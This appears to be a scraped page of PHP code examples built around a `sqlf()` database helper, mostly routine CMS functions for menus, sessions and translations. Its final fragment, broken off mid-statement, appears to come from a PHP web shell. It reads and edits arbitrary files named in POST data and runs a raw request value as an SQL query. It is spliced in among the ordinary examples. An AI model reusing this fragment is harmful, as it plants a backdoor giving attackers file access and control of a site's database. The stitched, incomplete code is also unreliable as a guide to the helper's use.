Esempio n. 1
0
 function CreateCacheFile()
 {
     global $opt, $translate;
     $f = fopen($this->sMenuFilename, 'w');
     fwrite($f, "<?php\n");
     fwrite($f, 'global $menuitem;' . "\n");
     fwrite($f, "\n");
     $rsDefines = sqlf("SELECT `id`, `id_string` FROM `sys_menu`");
     while ($rDefine = sql_fetch_assoc($rsDefines)) {
         fwrite($f, 'if (!defined(\'' . addslashes($rDefine['id_string']) . '\')) define(\'' . addslashes($rDefine['id_string']) . '\', ' . $rDefine['id'] . ");\n");
     }
     sql_free_result($rsDefines);
     fwrite($f, "\n");
     $aMenu = array();
     $nPos = 0;
     $rsSubmenu = sqlf("SELECT `id` FROM `sys_menu` WHERE `parent`=0 ORDER BY `parent` ASC, `position` ASC");
     while ($rSubmenu = sql_fetch_assoc($rsSubmenu)) {
         $aMenu[MNU_ROOT]['subitems'][$nPos] = $rSubmenu['id'];
         $nPos++;
     }
     sql_free_result($rsSubmenu);
     fwrite($f, "\n");
     $rs = sqlf('SELECT `item`.`id`, `item`.`title`, `item`.`menustring`, `item`.`access`, `item`.`href`, `item`.`visible`, `item`.`parent` AS `parentid`, `item`.`color` AS `color` FROM `sys_menu` AS `item` LEFT JOIN `sys_menu` AS `parentitem` ON `item`.`parent`=`parentitem`.`id`');
     while ($r = sql_fetch_assoc($rs)) {
         $aMenu[$r['id']]['title'] = $translate->t($r['title'], '', basename(__FILE__), __LINE__);
         $aMenu[$r['id']]['menustring'] = $translate->t($r['menustring'], '', basename(__FILE__), __LINE__);
         $aMenu[$r['id']]['authlevel'] = $r['access'] == 0 ? AUTH_LEVEL_ALL : AUTH_LEVEL_ADMIN;
         if (substr($r['href'], 0, 1) == '!') {
             $aMenu[$r['id']]['href'] = substr($r['href'], 1);
             $aMenu[$r['id']]['target'] = 'target="_blank"';
         } else {
             $aMenu[$r['id']]['href'] = $r['href'];
             $aMenu[$r['id']]['target'] = '';
         }
         $aMenu[$r['id']]['visible'] = $r['visible'];
         $aMenu[$r['id']]['sublevel'] = $this->pGetMenuSublevel($r['id']);
         if ($r['parentid'] != 0) {
             $aMenu[$r['id']]['parent'] = $r['parentid'];
         }
         if ($r['color'] != null) {
             $aMenu[$r['id']]['color'] = $r['color'];
         }
         $nPos = 0;
         $rsSubmenu = sqlf("SELECT `id` FROM `sys_menu` WHERE `parent`='&1' ORDER BY `parent` ASC, `position` ASC", $r['id']);
         while ($rSubmenu = sql_fetch_assoc($rsSubmenu)) {
             $aMenu[$r['id']]['subitems'][$nPos] = $rSubmenu['id'];
             $nPos++;
         }
         sql_free_result($rsSubmenu);
     }
     sql_free_result($rs);
     fwrite($f, '$menuitem = unserialize("' . str_replace('"', '\\"', serialize($aMenu)) . '");' . "\n");
     fwrite($f, "?>");
     fclose($f);
 }
 function run()
 {
     $nIds = array();
     $rs = sqlf("SHOW PROCESSLIST");
     while ($r = sql_fetch_assoc($rs)) {
         $nIds[$r['Id']] = $r['Id'];
     }
     sql_free_result($rs);
     $rs = sqlf("SELECT DISTINCT `threadid` FROM `sys_temptables`");
     while ($r = sql_fetch_assoc($rs)) {
         if (!isset($nIds[$r['threadid']])) {
             sqlf("DELETE FROM `sys_temptables` WHERE `threadid`='&1'", $r['threadid']);
         }
     }
     sql_free_result($rs);
 }
Esempio n. 3
0
function sql_disconnect()
{
    global $opt, $db;
    sql_disconnect_slave();
    if ($opt['db']['pconnect'] == true && $db['dblink'] !== false) {
        if (count($db['temptables']) > 0) {
            foreach ($db['temptables'] as $table) {
                sqlf("DROP TEMPORARY TABLE IF EXISTS &tmpdb.`&1`", $table);
            }
            sqlf("DELETE FROM &db.`sys_temptables` WHERE `threadid`='&1'", mysql_thread_id($db['dblink']));
            $db['temptables'] = array();
            $db['temptables_slave'] = array();
        }
    }
    if ($db['dblink'] === $db['dblink_slave']) {
        $db['dblink_slave'] = false;
    }
    //is connected and no persistent connect used?
    if ($opt['db']['pconnect'] == false && $db['dblink'] !== false) {
        mysql_close($db['dblink']);
        $db['dblink'] = false;
        $db['connected'] = false;
    }
}
 public function importFromTable($table, $fname = 'name', $fid = 'trans_id')
 {
     $rs = sqlf("SELECT `&1`.`&2`\n            FROM `&1`\n            LEFT JOIN `sys_trans`\n                ON `&1`.`&3`=`sys_trans`.`id`\n                AND `&1`.`&2`=`sys_trans`.`text`", $table, $fname, $fid);
     while ($r = sql_fetch_array($rs)) {
         if ($r[$fname] == '') {
             continue;
         }
         $lastId = sqlf_value("SELECT `id` FROM `sys_trans` WHERE `text`='&1'", 0, $r[$fname]);
         if ($lastId == 0) {
             sqlf("INSERT INTO `sys_trans` (`text`) VALUES ('&1')", $r[$fname]);
             $lastId = sql_insert_id();
         }
         sqlf("INSERT IGNORE INTO `sys_trans_ref` (`trans_id`, `resource_name`, `line`) VALUES ('&1', '&2', 0)", $lastId, 'table:' . $table . ';field=' . $fname);
     }
     sql_free_result($rs);
     sqlf("UPDATE `&1` SET `&2`=0", $table, $fid);
     sqlf("UPDATE `&1`, `sys_trans`\n            SET `&1`.`&3`=`sys_trans`.`id`\n            WHERE `&1`.`&2`=`sys_trans`.`text`", $table, $fname, $fid);
 }
Esempio n. 5
0
 public function logout()
 {
     if ($this->userid != 0) {
         sqlf("DELETE FROM `sys_sessions` WHERE `uuid`='&1' AND `user_id`='&2'", $this->sessionid, $this->userid);
     }
     $this->pClear();
 }
Esempio n. 6
0
 public function reorg()
 {
     $nPosition = 1;
     $nLastParent = -1;
     $rs = sqlf("SELECT `id`, `parent` FROM `sys_menu` ORDER BY `parent` ASC, `position` ASC");
     while ($r = sql_fetch_assoc($rs)) {
         if ($nLastParent != $r['parent']) {
             $nPosition = 1;
             $nLastParent = $r['parent'];
         }
         sqlf("UPDATE `sys_menu` SET `position`='&1' WHERE `id`='&2'", $nPosition, $r['id']);
         $nPosition++;
     }
     sql_free_result($rs);
 }
         echo @file($pos);
     } elseif (function_exists('fread')) {
         $x5 = @fopen($pos, 'rw');
         $dc = @fread($x5, @filesize($pos));
         @fclose($x5);
     } else {
         rf();
     }
     echo "</textarea>";
     inp('hidden', '50', 'goto', path);
     inp('hidden', '50', 'svdi', $pos, '', '<br>');
     sub('svff', 'Save', $pr = '<br>');
     exit;
 } elseif (isset($_REQUEST['gfils'])) {
     $pos = $HTTP_POST_VARS['cfils'];
     sqlf($pos);
 } else {
     $pos = $HTTP_POST_VARS['cfil'];
 }
 switch ($_REQUEST['getm']) {
     case '1':
         $x5 = @fopen($pos, 'rw');
         $dc = @fread($x5, @filesize($pos));
         @fclose($x5);
         echo $dc;
         break;
     case '2':
         echo rf();
         break;
     case '3':
         if (function_exists('file_get_contents')) {